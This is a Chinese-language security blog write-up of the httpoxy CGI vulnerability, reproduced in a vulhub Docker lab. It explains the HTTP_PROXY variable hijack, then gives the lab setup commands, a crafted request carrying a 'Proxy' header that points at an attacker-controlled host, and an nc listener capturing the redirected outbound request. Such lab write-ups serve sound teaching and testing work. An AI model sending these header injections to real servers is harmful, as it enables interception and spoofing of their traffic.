漏洞描述

漏洞原理在CGI变量命名不规范,CGI程序在接收到HTTP Header后会将部分Header信息存在HTTP_开头的变量中。但CGI程序环境变量本身已经定义了HTTP_PROXY变量,旨在为CGI程序设置代理,如果攻击者在请求中带上了Proxy头,则已定义的HTTP_PROXY变量将被覆盖,实现当前请求的变量劫持,并不会对全局变量造成影响。

所以其本质在于CGI环境变量劫持,如果CGI程序在运行过程中依赖HTTP_PROXY变量,则攻击者可获取敏感数据或伪造返回包对CGI程序进行欺骗。

影响版本

任何以CGI方式运行的程序,但需满足以下三点条件:

  1. CGI程序对外发送请求;
  2. CGI程序依赖HTTP_PROXY变量;
  3. CGI程序与外部使用HTTP协议进行通信。

漏洞复现

git clone https://github.com/vulhub/vulhub.git
cd vulhub/cgi/httpoxy
docker-compose up -d

抓取访问包:

GET /index.php HTTP/1.1
Host: <ip>:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "61cb2d26-267"
If-Modified-Since: Tue, 28 Dec 2021 15:28:38 GMT
Connection: close

响应包:

HTTP/1.1 200 OK
Server: nginx/1.21.5
Date: Sun, 16 Jan 2022 06:35:17 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/5.6.23
Content-Length: 260

{
  "args": {}, 
  "headers": {
    "Host": "httpbin.org", 
    "User-Agent": "GuzzleHttp/6.2.0 curl/7.38.0 PHP/5.6.23", 
    "X-Amzn-Trace-Id": "Root=1-61e3bca5-357701640048e8ce121a0086"
  }, 
  "origin": "<ip>", 
  "url": "http://httpbin.org/get"
}

构造请求包:

GET /index.php HTTP/1.1
Host: <ip>:8080
Proxy: http://<ip>:<port>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "61cb2d26-267"
If-Modified-Since: Tue, 28 Dec 2021 15:28:38 GMT
Connection: close

攻击机监听:

$ nc -lvnp <port>
listening on [any] <port> ...
connect to [<ip>] from (UNKNOWN) [<ip>] 59306
GET http://httpbin.org/get HTTP/1.1
Proxy-Connection: Keep-Alive
User-Agent: GuzzleHttp/6.2.0 curl/7.38.0 PHP/5.6.23
Host: httpbin.org

响应包:

HTTP/1.1 200 OK
Server: nginx/1.21.5
Date: Sun, 16 Jan 2022 06:27:54 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/5.6.23
Content-Length: 1155

<br />
<b>Fatal error</b>:  Uncaught exception 'GuzzleHttp\Exception\ConnectException' with message 'cURL error 28: Operation timed out after 2004 milliseconds with 0 bytes received (see http://curl.haxx.se/libcurl/c/libcurl-errors.html)' in /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:186
Stack trace:
#0 /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php(150): GuzzleHttp\Handler\CurlFactory::createRejection(Object(GuzzleHttp\Handler\EasyHandle), Array)
#1 /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php(103): GuzzleHttp\Handler\CurlFactory::finishError(Object(GuzzleHttp\Handler\CurlHandler), Object(GuzzleHttp\Handler\EasyHandle), Object(GuzzleHttp\Handler\CurlFactory))
#2 /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlHandler.php(43): GuzzleHttp\Handler\CurlFactory::finish(Object(GuzzleHttp\Handler\CurlHandler), Object(GuzzleHttp\Handler\EasyHandle), Object(GuzzleHttp\Handler\CurlFactory))
#3 /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/Proxy.php(28): GuzzleHttp\Hand in <b>/var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php</b> on line <b>186</b><br />

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。